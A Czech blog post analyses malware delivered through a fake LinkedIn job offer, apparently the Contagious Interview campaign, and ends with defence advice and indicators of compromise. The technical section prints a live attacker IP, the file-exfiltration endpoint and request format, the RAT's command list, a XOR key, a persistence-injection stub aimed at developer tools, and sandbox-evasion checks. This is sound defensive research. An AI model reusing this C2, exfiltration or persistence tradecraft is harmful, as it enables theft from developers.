Škodlivý kódŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více se často potřebuje spojit se serverem útočníka. Adresa toho serveru je proto obvykle jedna z prvních věcí, které se z kódu vytáhnou, protože se s ní dá dál pracovat: zablokovat ji na firewallu, nahlásit ji provozovateli, varovat před ní ostatní.
Tenhle v sobě žádnou adresu neměl. Po spuštění se zeptá veřejné Ethereum sítě na jednu konkrétní transakci a adresu si z ní rozbalí. Ta transakce je veřejná a dá se otevřít v prohlížeči blockchainu. Adresa serveru je zapsaná přímo v příjemci té transakce, jen šestnáctkově. Kdo si to chce přepočítat sám, najde přesný rozpad i pětiřádkový skript v technické části na konci.
Stojí za to všimnout si, kde přesně ta informace je. Ne v datech transakce. Transakce sama nenese žádnou zprávu. Ta adresa příjemce totiž nikomu nepatří, není to peněženka ani smart kontrakt, je to prostě číslo, které někdo vymyslel tak, aby po přepočtu dávalo IP adresu a dva porty. Zpráva není v tom, co se poslalo. Zpráva je v tom, komu.
Je to jako veřejný inzerát, ve kterém je uvedená adresa. Vypadá úplně stejně jako každá jiná, nikomu nepřijde divná a projde bez povšimnutí. Jenom číslo popisné je ve skutečnosti kombinace k trezoru a ví to jen ten, komu je inzerát určený.
V kódu, který dostane oběť, tedy není co blokovat, je v něm jen odkaz na infrastrukturu, kterou nikdo nevypne. A i kdyby se ten server někomu podařilo shodit, útočník pošle další transakci na jinou vymyšlenou adresu a všechny nasazené kopie se na ni samy přesměrují.
Tenhle malwareŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více mi přišel v nabídce práce na LinkedIn
Na konci července mi napsal člověk jménem Aaron Clark. Ověřený profil, 500+ kontaktů, jeden společný známý, slušně napsaná zpráva. Nabízel spolupráci na AI nástroji na sledování kryptoměn. Projekt je prý už financovaný, na vývoj je vyčleněných pět milionů dolarů a chystají tokenTajný řetězec, kterým se aplikace prokazuje vůči API. Více launch. Part-time i full-time, jak mi to bude vyhovovat.
Moc často s headhuntery nekomunikuji, takže nemůžu říct, jestli bylo něco nestandardního, ale na první pohled nebylo nic divného.
Na druhý už ano.
O sobě uváděl, že sedí v představenstvu Blocku.
To je ta věta, kvůli které jsem si otevřel jeho profil pořádně.
Kdo mi to vlastně píše
Block je veřejně obchodovaná společnost. Členy představenstva takové firmy si nemusíte domýšlet, jsou veřejní. Firma je uvádí na svých investorských stránkách a jako emitent je musí uvádět i v dokumentech podávaných americké komisi pro cenné papíry. Otevřete seznam a přečtete si jména. Sedí tam Jack Dorsey, spoluzakladatel Blocku i Twitteru. Jim McKelvey, druhý spoluzakladatel. Shawn Carter, kterého většina lidí zná jako Jay-Z, od května 2021. A vedle nich lidé ze Sequoia Capital, z Goldman Sachs nebo z MIT.
Jen Aaron Clark tam není.
Trvalo to dvě minuty a tím by to v podstatě skončilo. Zbytek profilu se pak už jen skládal do stejného obrázku.
Kariéra, která nedává smysl. Podle profilu byl v letech 2019 až 2021 projektový manažer v malé firmě, pak dva roky OSVČ, pak dva roky CTO malého AI startupu, a od roku 2024 člen představenstva jedné z největších fintechových firem na světě. Já tu osobní zkušenost nemám, ale myslím, že do představenstva tak významné společnosti se postupuje trochu jinak.
Nulová aktivita. Přes tisíc sledujících, žádný příspěvek. Nikdy. Člověk s takovou pozicí a takovým dosahem, který za dva roky nenapsal ani jednu větu.
Nesedící role. Člen představenstva velké fintechové firmy shání na LinkedIn frontendistu na volné noze za hodinovou sazbu na nesouvisející AI crypto projekt. To se nestává.
Ověřený profil. Ten modrý odznáček u jména neznamená, že platí, co je v profilu napsané. Znamená, že u účtu proběhlo nějaké ověření, typicky totožnosti nebo pracovního e-mailu. O pravdivosti tvrzení o představenstvu nevypovídá nic. Přesně na tenhle rozdíl většina lidí nemyslí, a proto ten odznáček funguje.
Fun fact: v pravém sloupci mi LinkedIn u toho profilu sám nabízel placenou reklamu na volná místa v Blocku. Platforma tu shodu jmen bere jako signál k prodeji inzerce, ne k ověření. A tak zvyšuje důvěryhodnost scammerům.
Díky LinkedIne!
Zahodit a nahlásit. No a nebo ne?
V tomhle bodě bylo jasné, že je to podvod. Ale zajímalo mě jaký.
Falešné pracovní nabídky mají několik různých konců. Někdy jde o klasický podvod s poplatkem předem. Někdy o získání osobních dat. A někdy je celý ten příběh jenom obal na to, aby dostali škodlivý kódŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více na počítač oběti.
Zajímala mě celá cesta, ne to, že mi někdo lže o zaměstnavateli. Odpovědět na nabídku aby mě procesem provedli mě nic nestálo.
Zeptal jsem se na běžné věci. V jaké fázi projekt je, jak vypadá stávající tým, ve kterých oblastech potřebují pomoct, jestli jde o konzultace, infrastrukturu a bezpečnost, produktový vývoj nebo dlouhodobou roli.
Odpověď na většinu z nich nikdy nepřišla.
V pátek dorazilo PDF s přehledem projektu. V pondělí jsem napsal, že z toho širokého rozsahu jsou mé zkušenosti nejblíž infrastruktuře, bezpečnosti, backendové architektuře a deploymentu, a znovu se zeptal, co konkrétně by ode mě v téhle fázi chtěli, jestli mají tým a existující kód a jaký by byl další krok.
Přišlo tohle:
Okay,
That is what we want from you. This project’s normal hourly rate is around $100.
Ta první věta neodpovídá na nic. Zbytek zprávy pokračoval tím, že frontend je hotový, ať se na něj podívám, a až potom si naplánujeme technickou schůzku o timeline a milestonech. A ať pošlu GitHub username.
Tak jsem si založil oddělený GitHub účet, vyplnil ho AI generovaným obsahem pro větší důvěryhodnost (LOL) a v úterý ráno jim ho poslal. Pozvánka do privátního repozitáře přišla o šest minut později.
Následující den odpoledne přišel follow-up:
Did you get any chance to run and see the project?
Tohle je na celé konverzaci nejvíc vypovídající věta. Za celou dobu se mě nikdo nezeptal na nic technického. Ani na názor na architekturu, ani co bych na tom frontendu změnil. Jediné, co je zajímalo, bylo, jestli jsem ho spustil.
Co v tom repozitáři bylo
Jako první přišlo to PDF s přehledem projektu. Prověřil jsem, jestli v něm není aktivní obsah. Nebyl. Žádný JavaScript, žádné vložené soubory, žádné formuláře. PDF nebylo nosičem ničeho, jeho úkol byl vypadat jako materiál od skutečné firmy a poslat čtenáře k repozitáři. Splnilo ho dobře. Při rychlé kontrole je snadné poctivě ověřit dokument, dojít k závěru „je to čisté“ a ten pocit pak přenést i na všechno ostatní, co přišlo s ním.
Repozitář hlásil 6 273 commitů. Nahoře jméno a fotka autora posledního commitu, pod tím kompletní struktura frontendu. Na první pohled projekt, na kterém někdo měsíce pracoval.
Ta historie byla ale ukradená. Patřila legitimnímu open source projektu a útočník na ni posadil jediný commit s hláškou „Refactoring codebse for speed“, který smazal přes čtyři tisíce souborů a nahradil je stovkou vlastních. Zůstala jen ta historie. Odpovídá tomu i to, že všechny soubory v repozitáři mají stejné datum poslední změny.
Má to jeden nepříjemný vedlejší efekt. GitHub páruje autora commitu podle e-mailové adresy, a ta v tom commitu patří skutečnému vývojáři původního projektu. Na stránce repozitáře se tedy zobrazuje účet a fotka existujícího člověka, který s tím nemá nic společného. Proto tady jeho jméno neuvádím.
Stojí za to říct, čí problém to vlastně je. Git ve svém návrhu autora commitu nijak neověřuje. Jméno a e-mail si do něj zapisuje ten, kdo commituje, a může tam napsat cokoli. Tak to funguje od začátku a souvisí to s tím, že Git je decentralizovaný a commituje se i bez připojení k serveru.
Co k tomu přidává GitHub, je zobrazení. Podle e-mailu k tomu commitu dopáruje účet, ukáže fotku a odkaz na profil, a nepodepsaný commit přitom ve výchozím nastavení nedostane žádné označení. Podvržený commit tedy vypadá úplně stejně jako pravý. GitHub navíc podvržení e-mailu v Gitu výslovně vylučuje ze své bug bounty s odůvodněním, že samo o sobě nedává útočníkovi přístup k repozitáři ani žádná další oprávněníRozhodnutí, co smí přihlášený uživatel vidět nebo dělat. Více. Technicky to sedí. Prakticky to znamená, že se cizí jméno a fotka dají zdarma použít jako důvěryhodnost, což je přesně to, co se stalo tady.
Obrana existuje, ale je dobrovolná a musíte si ji zapnout dopředu. V nastavení GitHubu jde skrýt vlastní e-mail a commitovat pod adresou ve tvaru username@users.noreply.github.com. Ta zůstává navázaná na váš účet, takže se vám commity dál normálně přiřazují, jen nikdo nezná adresu, kterou by mohl použít. Druhá věc je podepisování commitů klíčem a zapnutí takzvaného vigilant mode, po kterém se každý nepodepsaný commit s vaším jménem zobrazí jako neověřený.
Háček je v tom, že tohle chrání jen toho, kdo si to nastavil. Vývojáře, jehož jméno se objevilo v tom podvrženém commitu, by chránilo jen tehdy, kdyby si vigilant mode zapnul on sám.
Zbytek stránky už tak přesvědčivý nebyl. Nula hvězd, nula sledujících, nula forků, žádní přispěvatelé, žádný popis. A v kořeni commitnutý soubor .env. To nedělejte:)
README.ai
README v repozitáři je generická šablona. Uvítání, „How can I run this code?“, odkaz na instalaci Node.js přes nvm, čtyři kroky a seznam použitých technologií: Vite, TypeScript, React, shadcn-ui, Tailwind CSS.
Tenhle text není napsaný na míru. Odpovídá šabloně, kterou automaticky generuje AI nástroj na stavbu aplikací Lovable, včetně identického znění kroků a stejného seznamu technologií. Útočník z ní odmazal zmínky o samotném Lovable a sekci o Codespaces, zbytek nechal být.
Prakticky to znamená, že návnadu nikdo nepsal. Někdo si nechal vyklikat věrohodně vypadající krypto dashboard za pár minut, nasadil ho na cizí historii a poslal to dál. Náklady na výrobu obalu jsou dnes prakticky nulové, což je důvod, proč se takových nabídek dá rozeslat libovolné množství.
A pak je tu poslední řádek toho návodu:
# Step 4: Start the development server with auto-reloading and an instant preview.
npm run dev
Tenhle příkaz spouští celý zbytek příběhu. Nemusel být nikde schovaný, protože projekt sám ho nabízí jako běžný a očekávaný krok. Kdokoli, kdo se na ten frontend chtěl podívat, ho udělal.
Co se stalo, když jsem to spustil
Nespouštěl jsem to samozřejmě na svém počítači. Postavil jsem si na to izolované „pískoviště“: jednorázový systém bez jediného skutečného heslaHeslo je obecný prostředek ověření totožnosti (autentizaci) uživatele, kterým nemusí nutně být pouze... Více, klíče nebo peněženky, odříznutý od internetu a od hostitele, s vlastní bránou, která nahrávala všechen provoz a nepustila ven nic, co jsem předem nepovolil. Server útočníka jsem si nasměroval na sebe, takže si malwareŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více o všechno říkal mně, ne jemu. Když si nakonec řekl o svoji hlavní část, poslal jsem mu prázdnou odpověď. Tu poslední část si tedy stáhnout nestihl a nikdy se nespustila. Tím jsem viděl celý průběh, aniž bych někomu nechal běžet cizí program na skutečném stroji.
Pak jsem zadal to, co po mně chtěli.
npm run dev
Navenek se nestalo nic zvláštního. Dev server naběhl, na výstupu žádná chyba, dashboard by se za chvíli otevřel v prohlížeči. Kdybych u toho seděl jako uchazeč o práci nebo zakázku, prohlížel bych si UI a nic bych nepoznal.
Zatím se ale stalo tohle. Projekt se připojil na veřejný uzel sítě Ethereum, tedy na jednu z těch služeb, přes které se běžně čtou data z blockchainu, a přečetl si z něj jednu transakci. V ní byla zašifrovaná adresa serveru, kterou si z ní rozbalil. Na ten server si sáhl, stáhl si odtamtud další kus programu, spustil ho a ten si řekl o poslední, hlavní část.
Od zadání příkazu k tomuhle bodu uplynulo necelé tři desetiny sekundy.
Za tu dobu nestihne ani Ital espresso.
Co to bylo a co by to udělalo
Ten poslední kus programu jsem si stáhl a rozebral, aniž bych ho pustil. Je to krysa. RAT. Ta zkratka se rozepisuje dvěma způsoby: remote administration tool, když jde o legitimní nástroj na správu vzdálených počítačů, a remote access trojanŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více, když jde o to samé, jen bez vědomí majitele. Rozdíl není v kódu, ale v tom, jestli o něm majitel počítače ví.
Tenhle byl schovaný v konfiguračním souboru frontendu, takže to druhé. Je to program, který útočníkovi umožní ovládat cizí počítač na dálku, jako by u něj seděl.
Konkrétně tenhle umí:
- číst obsah schránky
- spustit jakýkoli příkaz, který by na tom počítači mohl spustit jeho majitel
- spustit jakýkoli další program, který mu útočník pošle
- vzít libovolný soubor nebo celý adresář včetně podadresářů a nahrát ho na svůj server.
Podstatné je to poslední. Není to program s pevným seznamem cílů, kterému byste utekli tím, že si peněženku uložíte jinam. Je to vzdálený přístup. Útočník se připojí, rozhlédne se a rozhodne se na místě, co ho zajímá.
Prakticky to znamená, že si může vzít cokoli, na co dosáhne účet, pod kterým je ten projekt spuštěný. Přístupové klíče k serverům, přihlášeníOvěření totožnosti. Služba zjišťuje, zda jste opravdu ten, za koho se vydáváte. Více do Gitu a do cloudu, konfigurační soubory s hesly, uložené přihlašovací údajeÚdaje, kterými se přihlašujete ke službě. Typicky jméno, e-mail, heslo, kód nebo bezpečnostní klíč. Více z prohlížeče, soubory peněženek, data ze správce heselAplikace, která bezpečně ukládá hesla a pomáhá vytvářet pro každý účet jiné silné heslo. Více, zdrojové kódy, dokumenty. A obsah schránky, což je mimochodem ten okamžik, kdy se vyplatí, že si člověk občas kopíruje seed frázi nebo hesloHeslo je obecný prostředek ověření totožnosti (autentizaci) uživatele, kterým nemusí nutně být pouze... Více.
Na běžném pracovním notebooku vývojáře je tohohle materiálu obvykle dost.
Tohle všechno ale dělá na povel. Je tu ještě jedna věc, kterou udělá sám od sebe hned po spuštění, a ta je z celého rozboru nejdůležitější.
Smazat repozitář nestačí
Zhruba sekundu po spuštění si ten program najde nainstalované vývojářské aplikace a vloží se do nich. Do VS Code, do Cursoru, do Antigravity, do Discordu, do GitHub Desktopu a do npm.
Zapíše se přímo do jejich souborů, odsazený asi dvěma sty mezerami, takže když ten soubor někdo otevře v editoru, kód je schovaný daleko za pravým okrajem obrazovky a při běžném procházení ho neuvidí.
Důsledek: člověk spustí takový projekt, za chvíli si řekne, že to byla hloupost, smaže repozitář a jde spát. A infekce mu zůstane. Sedí v editoru a v npm a spustí se, až je zase normálně použije.
Smazání složky s projektem tenhle problém neřeší.
Kde končí to, co jsem viděl
Všechno výše jsem buď pozoroval při běhu, nebo si to přečetl přímo v kódu toho programu. Že je v repozitáři schovaný škodlivý kódŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více, že ho spustí npm run dev, že si přes blockchain najde server útočníka, stáhne a spustí odtamtud další kód, a že tím posledním kusem je nástroj pro vzdálený přístup, který se sám zabydlí ve vývojářských aplikacích.
Co jsem neviděl: skutečného útočníka při práci. Můj testovací systém neobsahoval žádná reálná data, takže se nikdy nic neukradlo, a nevím, jestli u nějaké opravdové infekce vůbec někdo zadával příkazy. Nemám ani druhou, paralelní větev toho řetězce. Server mi na ni přestal odpovídat dřív, než jsem ji stihl stáhnout.
Takže ne, nemůžu napsat, že mi vybílili peněženku. Můžu napsat, že by mohli.
Způsob oslovení, celá struktura řetězce i použité markery odpovídají tomu, co se veřejně popisuje pod názvy Contagious Interview a DEV#POPPER. Není to nic nového. Jen to dobře funguje.
Co dělat, když jste něco takového spustili
Odpojte stroj od sítě, ať se k němu útočník nemůže připojit.
Pak prohledejte soubory nainstalovaných vývojářských aplikací a npm na markery /*RS260605*/ a /*C260521A*/. Konkrétní cesty a starší varianty markerů jsou v technické části níže. Grep je najde spolehlivě, očima je nenajdete, protože jsou odsazené daleko za pravý okraj.
Když je najdete, máte jistotu. Když je nenajdete, jistotu nemáte. Tenhle vzorek je jedna konkrétní verze jedné konkrétní kampaně a další už můžou vypadat jinak. Proto, pokud jde o stroj, na kterém máte skutečné přístupyÚdaje, kterými se přihlašujete ke službě. Typicky jméno, e-mail, heslo, kód nebo bezpečnostní klíč. Více, je jediná spolehlivá odpověď čistá reinstalace. Čištění podle indikátorů je dobré na to, abyste věděli, co se stalo, ne na to, abyste se cítili bezpečně.
A pak to, co lidi odkládají nejčastěji: všechno, na co ten účet dosáhl, berte jako kompromitované. Klíče, tokeny, API klíče, obsah konfiguračních souborů, přihlašovací údajeÚdaje, kterými se přihlašujete ke službě. Typicky jméno, e-mail, heslo, kód nebo bezpečnostní klíč. Více v prohlížeči. Rotovat, ne doufat. Pokud jste na tom stroji měli kryptopeněženku, přesouvejte prostředky z nového čistého zařízení, se seedem vygenerovaným na něm, ne na tom napadeném.
Co si z toho odnést
- Tvrzení o pozici ve velké firmě je skoro vždy dohledatelné. Představenstva veřejných společností jsou zveřejněná a kontrola trvá dvě minuty.
- Když se vám nechce hledat, hoďte celou nabídku i s profilem do libovolného AI nástroje s přístupem na web a nechte si ji projít. Není to neprůstřelné a nemá to být jediný filtr, ale rozpory typu „tvrdí pozici, kterou veřejný zdroj nepotvrzuje“ takhle odhalíte za pár vteřin.
- Ověřený profil na LinkedIn neověřuje, co je v profilu napsané.
- Když protistrana neodpoví na věcné otázky o týmu a rozsahu, ale odpoví obratem na všechno, co posouvá ke spuštění kódu, je to signál sám o sobě.
- Pozvánka do privátního repozitáře není důkaz legitimity.
- Dlouhá a věrohodná historie Gitu se dá zkopírovat z cizího projektu. Počet commitů nedokazuje nic.
- Přesvědčivě vypadající frontend je dnes otázka pár minut v AI builderu. Vzhled projektu nevypovídá o tom, kdo za ním stojí.
- Repozitář může být škodlivý, i když v něm nejsou žádné instalační skripty. Konfigurační soubory frontendových nástrojů jsou spustitelný kód.
- Vzdálený přístup je obecnější než seznam cílů. Nechrání vás to, že si dáte peněženku jinam.
- Smazání naklonovaného repozitáře nemusí odstranit to, co se mezitím vložilo do editoru a do npm.
- Cizí kód se spouští v jednorázovém prostředí bez přístupu k vlastním datům a bez volného internetu. Snapshot virtuálu není bezpečnostní hranice.
- Lákavá nabídka, tlak na rychlost a úkol „jen si to spusť“ dohromady nejsou náhoda. Je to schéma, které se opakuje.
Poslední bod nemá s technikou nic společného. Přesně tenhle typ nabídky přijde vývojářům, kteří mají veřejný profil, viditelné repozitáře a zájem o kryptoměny. Útočník si oběť nevybírá náhodně, vybírá si ji z veřejně dostupných informací.
Technický rozbor
Odsud dál je to pro ty, koho zajímá, jak přesně to funguje, nebo kdo si potřebuje ověřit vlastní stroj. Příběh výše by měl dávat smysl i bez téhle části.
Ještě poznámka k metodě. Rozbalování obfuskovaného kódu jsem si výrazně zkrátil pomocí AI. Mým cílem nebylo reverzovat cizí JavaScript od nuly, ale zmapovat celý proces, kterým tahle skupina pracuje, od prvního kontaktu na LinkedIn až po persistenci. Všechny konkrétní hodnoty níže, hashe, cesty i příkazy, jsem si zpětně ověřil ve vzorku.
Lab
Řízené spuštění vzorku neproběhlo na pracovním stroji ani ve snapshotu produkčního systému. Snapshot je nástroj na rollback, ne bezpečnostní hranice.
Arch Linux host
├── REMnux VM: brána, odposlech, packet capture, replay C2
└── Debian 13 VM: jednorázová oběť
REMnux dělal oběti bránu, držel lokálně skutečnou IP adresu C2Komunikační kanál, přes který útočník řídí napadený systém. Více serveru, vracel zachycené fáze malwaruŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více, filtroval odchozí provozSíťové spojení, které systém navazuje směrem ven. Více a nahrával pakety. Provoz na známé C2Komunikační kanál, přes který útočník řídí napadený systém. Více tak nikdy neopustil laboratoř.
Oběť běžela jako neprivilegovaný uživatel bez sudo. Během běhu malwaruŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více nebyla ve virtuálu žádná sdílená složka, žádný GitHub tokenTajný řetězec, kterým se aplikace prokazuje vůči API. Více, žádné forwardování SSH agenta, žádné USB, vypnutá sdílená schránka i drag and drop. Odchozí provozSíťové spojení, které systém navazuje směrem ven. Více byl povolený jen na TCP 443 vůči aktuálním IP adresám povolených Ethereum RPC služeb, všechno ostatní se zahazovalo. Před spuštěním jsem si ověřil, že běžný přístup na internet z oběti selže.
Závislosti jsem instaloval přes npm install --ignore-scripts. Ne proto, že by to stačilo, ale abych oddělil, co se spouští při instalaci a co při dev příkazu.
Skutečné odpovědi z /init a /0/body jsem si stáhl už předtím, samostatně a bez spuštění. Věděl jsem tedy, že na konci řetězce něco takového čeká, i jak je to velké. Chtěl jsem, aby loaderKód, který načte a spustí další část programu nebo útoku. Více i obě navazující fáze normálně proběhly a nechaly po sobě stopy v procesech a v provozu, ale aby se poslední článek nespustil. Proto odpovědi na ty dva požadavky vracela brána prázdné:
/init → {"_B":""}
/0/body → prázdná odpověď
LoaderKód, který načte a spustí další část programu nebo útoku. Více i obě navazující fáze díky tomu proběhly a nechaly po sobě stopy. Finální payloadČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více při spuštění neproběhl. Skutečnou odpověď z /init jsem si předtím stáhl jako neaktivní data a rozebral ji staticky, bez spuštění.
Kde byl škodlivý kód
package.json byl čistý. Žádný preinstall, install, postinstall ani prepare. Jenom obvyklé dev, build, lint, preview.
Běžná rada „instaluj s --ignore-scripts“ by tady tedy nepomohla. MalwareŠkodlivý software, který může špehovat, krást data, poškozovat zařízení nebo převzít kontrolu. Více nepotřeboval instalaci.
Stejný obfuskovanýZáměrné znepřehlednění kódu nebo dat, aby nebylo hned jasné, co dělají. Více loaderKód, který načte a spustí další část programu nebo útoku. Více byl přilepený na konec dvou konfiguračních souborů:
vite.config.ts
postcss.config.js
LoaderKód, který načte a spustí další část programu nebo útoku. Více měl 5 131 bajtů, SHA-256:
ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c
Duplikace ve dvou souborech znamená, že se řetězec spustí, ať už vývojář sáhne po dev serveru nebo po buildu.
C2 uložený v Ethereu
LoaderKód, který načte a spustí další část programu nebo útoku. Více se ptal veřejných Ethereum JSON-RPC endpointů: eth.drpc.org a eth-mainnet.public.blastapi.io (plus jeden zjevně nepoužitelný, ethereum-rpc.publicnode.com1).
Hledal aktivitu spojenou s markerem 33ff3edaf55a8e03dcbc7cb40d498a49. Konkrétní transakce:
Blok: 25688067
Tx: 0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Odesílatel: 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Příjemce: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682
Nosičem informace není vstupní pole transakce, ale adresa příjemce:
0x 171b14bb 01bb 171b14bb 0050 eb7f39c35c47e682
| | | | |
| | | | výplň do 20 bajtů
| | | port 80
| | 23.27.20.187
| port 443
23.27.20.187
Žádná kryptografie, prostě čísla zapsaná šestnáctkově. Kdo si to nechce počítat ručně, může si to zkopírovat do souboru a spustit v Pythonu. Nic to nestahuje, nikam se nepřipojuje a nesahá to na soubory:
adresa = "0x171b14bb01bb171b14bb0050eb7f39c35c47e682"
b = bytes.fromhex(adresa.replace("0x", ""))
for i in (0, 6):
ip = ".".join(str(x) for x in b[i:i + 4])
port = b[i + 4] * 256 + b[i + 5]
print("http://" + ip + ":" + str(port))
Rotace infrastruktury tedy znamená jen odeslat další transakci na jinak poskládanou adresu.
Dekódovaný výsledek:
http://23.27.20.187:443/boot
http://23.27.20.187:80/0/boot
Přestože jeden z portů je 443, komunikace probíhala nešifrovaně přes prosté HTTP. Port 443 negarantuje TLS. Garantuje port 443.
Přesný průběh spuštění
Proces začal normálně: bash → npm run dev → Vite → esbuild. Souběžně:
- spojení na Ethereum RPC a odvození adresy C2Komunikační kanál, přes který útočník řídí napadený systém. Více;
- spojení na
23.27.20.187na portech 443 a 80; - stažení dvou různých obfuskovaných JavaScriptových fází;
- jejich spuštění přes
node -ev samostatných procesech; - požadavky na finální payloadyČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více z
/inita/0/body.
Celý řetězec od startu k požadavku na finální payloadČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více trval necelé tři desetiny sekundy. V hlavičkách chodil marker, kterým se oběť identifikovala:
X: 33ff3edaf55a8e03dcbc7cb40d498a49:*8-0
Rozbor finálního payloadu
Zachycená odpověď z /init má 166 703 bajtů a čtyři pole. _U je základní adresa serveru, _H je kopie první fázeMalý první program nebo příkaz, který připraví spuštění další části. Více, _B je hlavní payloadČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více a _Z je tělo používané k persistenci.
Hlavní payloadČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více byl zabalený v konstruktoru Function s jedním generovaným tělem o 73 649 znacích. Hledání klíčových slov v něm nenajde nic. Rozbalil jsem ho tak, že jsem v izolovaném kontextu vyhodnotil jen dekodér řetězců a operační část nechal být. Tím se odkrylo 343 indexovaných řetězců a s nimi celá logika příkazů a persistence.
Je to cross-platform Node.js RAT. Verze:
260804
Ta čísla vypadají jako datum ve formátu RRMMDD, tedy 4. srpna 2026, den předtím, než jsem vzorek spustil. Stejný vzor mají i markery používané k persistenci (RS260605, C260521A) a starší varianty z roku 2025. Je to pozorování, ne potvrzený fakt, ale sedí to na sebe.
Po připojení se serveru ohlásí. Pošle ID relaceObdobí po přihlášení, kdy si vás služba pamatuje jako přihlášeného uživatele. Více, ID procesu, typ operačního systému, verzi, označení kampaně a časy první a aktuální návštěvy. Komunikace jede přes Socket.IO na http://23.27.20.187:443, opět nešifrovaně, s pokusem o znovupřipojení každých pět sekund.
Seznam příkazů
| Příkaz | Co dělá |
|---|---|
ss_info |
vrátí verzi, ID relaceObdobí po přihlášení, kdy si vás služba pamatuje jako přihlášeného uživatele. Více, údaje o OS, adresy C2Komunikační kanál, přes který útočník řídí napadený systém. Více, cesty k Node, cestu, ze které byl spuštěný, a časové značky |
ss_ip |
zjistí veřejnou IP oběti přes ip-api.com |
ss_cb |
přečte a odešle obsah schránky |
ss_upf:<soubor>,<cíl> |
nahraje jeden vybraný soubor |
ss_upd:<adresář>,<cíl> |
rekurzivně projde adresář a nahraje z něj všechny soubory |
ss_dir, ss_fcd:<cesta> a cd |
práce s pracovním adresářem |
ss_stop |
zastaví probíhající nahrávání |
ss_inz:<cesta> |
vloží persistentní kód do vybraného souboru |
ss_inzx:<cesta> |
naopak ho z vybraného souboru odstraní |
ss_connect:<host> |
přepne se na jiný server zadaný operátorem |
ss_eval:<kód> |
spustí libovolný JavaScript |
ss_eval64:<base64> |
totéž, jen zakódované |
ss_exit a ss_exit_f |
ukončí proces |
| cokoli jiného | spustí to jako příkaz shelluProgram, který přijímá příkazy uživatele a spouští je v systému. Více |
text začínající * |
spustí libovolný program na pozadí s parametry od útočníka |
Formát exfiltrace
POST http://23.27.20.187/u/f
Content-Type: multipart/form-data
client_id = <hostname>$<uživatelské jméno>
path = <cíl zvolený operátorem>
soubor = pod jménem lokálního souboru
Při rekurzivním nahrávání projde vybraný adresář přes readdirSync a statSync, spočítá u každého souboru relativní cestu a nahrává je po jednom tak, aby na straně útočníka zůstala zachovaná struktura.
I bez jediného příkazu odesílá payloadČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více sám od sebe metadataÚdaje o komunikaci nebo souboru, ne nutně samotný obsah. Například čas, odesílatel, příjemce nebo po... Více o stroji a relaciObdobí po přihlášení, kdy si vás služba pamatuje jako přihlášeného uživatele. Více přes Socket.IO a telemetrii o stavu persistence na:
POST http://23.27.20.187/verify-human/<označení kampaně>
Ze schránky čte podle systému přes Get-Clipboard, pbpaste nebo xclip.
Cesty persistence
Zhruba sekundu po startu payloadČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více hledá JavaScriptové vstupní body běžných vývojářských aplikací a npm:
VS Code resources/app/node_modules/@vscode/deviceid/dist/index.js
Cursor resources/app/node_modules/@vscode/deviceid/dist/index.js
Antigravity resources/app/node_modules/@vscode/deviceid/dist/index.js
Discord discord_desktop_core/index.js
GitHub Desktop resources/app/main.js
npm CLI node_modules/npm/lib/cli.js
Cesty jsou definované zvlášť pro Windows, macOS i Linux.
Injektáž odstraní starší rozpoznané bloky, přidá asi dvě stě mezer a za ně vloží:
/*C260521A*/
global['e']='<označení cíle>';
global.i='*8-0';
/* tělo persistence začínající /*RS260605*/ */
Označení cílů:
app-vscode-eval
app-cursor-eval
app-antigravity-eval
app-discord-eval
app-GitHubDesktop-eval
NPM
PayloadČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více si navíc doinstalovává vlastní závislosti (axios, socket.io-client, form-data) do ~/.node_modules nebo ~/.node_module a zakládá si značku první návštěvy:
Linux/macOS: /tmp/.<base64 uživatelského jména>
Windows: %LOCALAPPDATA%\Temp\<base64 uživatelského jména>
Kontroly prostředí
Vzorek si testuje prostředí a při shodě se chová jinak. Sleduje proměnnou prostředí jsbot, uživatelská jména github-runner a buildbot a hostnamy jako build-*, sandbox-pool-*, buildkitsandbox, cloudchamber, nijin-lab a dvě konkrétní EV- jména.
Praktický důsledek pro analytiky: nepojmenovávat virtuálku podle toho, k čemu slouží.
Druhá větev
Sekundární loaderKód, který načte a spustí další část programu nebo útoku. Více z /0/boot si žádá o /0/body, dekóduje ho XORem klíčem YU7m{rE/>|==b>#~ a vyhodnotí. Zkoušel jsem si tělo stáhnout v 15:58 UTC a server už neodpovídal ani na jednom portu. Někdy mezi detonací a tímhle pokusem infrastruktura zhasla.
Indikátory kompromitace
Repozitář a commit
Repozitář: gitcomp88/AICryptoTrader
HEAD: 319dbc61b24e1655ff61bd604b8aee3aa1ca0941
Rodič: b7abbbb6c6f13ced564fd31c74a6396f3e438405
Zpráva: Refactoring codebse for speed
Účty na straně útočníka
gitcomp88
gitforcpc903
Jde o indikátory z vyšetřování, ne o důkaz totožnosti.
Škodlivé soubory v repozitáři
vite.config.ts
postcss.config.js
Síť
23.27.20.187
http://23.27.20.187:443 Socket.IO řídicí kanál
/boot /init /0/boot /0/body
/u/f nahrávání ukradených souborů
/verify-human/<kampaň> telemetrie
Markery
33ff3edaf55a8e03dcbc7cb40d498a49 identifikace kampaně
*8-0 označení buildu
/*RS260605*/ tělo persistence
/*C260521A*/ marker injektáže
Starší markery injektáže: /*C250617A*/, /*C250618A*/, /*C250619A*/, /*C250620A*/, /*C260511A*/, /*C260512A*/
Verze a klíč
verze malwaru: 260804
